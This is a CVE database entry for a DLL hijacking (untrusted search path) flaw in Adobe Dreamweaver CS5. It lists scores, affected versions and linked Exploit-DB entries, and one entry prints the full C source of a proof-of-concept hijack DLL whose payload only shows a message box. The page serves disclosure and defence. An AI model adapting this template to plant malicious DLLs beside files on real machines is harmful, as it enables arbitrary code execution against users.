CVE-2010-3132

critical

Published 2010-08-26 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Untrusted search path vulnerability in Adobe Dreamweaver CS5 11.0 build 4916, build 4909, and probably other versions, allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse (1) mfc90loc.dll or (2) dwmapi.dll that is located in the same folder as a CSS, PHP, ASP, or other file that automatically launches Dreamweaver.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14735 local windows text · 1 KB

Glafkos Charalambous · 2010-08-24

Adobe Dreamweaver CS4 - 'ibfs32.dll' DLL Hijacking

text exploit Source: Exploit-DB

/* 
Exploit Title: Adobe Dreamweaver CS4 DLL Hijacking Exploit (ibfs32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: 10.0 Build 4117
Tested on: Windows 7 Ultimate x86
Vulnerable extensions: .asp .asa. aspx .php .php5 .cfm .tpl .asr .jsp (etc)
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

int dll_hijack()
{
  MessageBox(0, "Dreamweaver DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}

EDB-14740 local windows

diwr · 2010-08-25

Adobe Dreamweaver CS5 11.0 build 4909 - 'mfc90loc.dll' DLL Hijacking

Source code queued for fetch — refresh in a moment.

Application impact

Vendor	Product	Versions	Fixed
adobe	dreamweaver	`11.0`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

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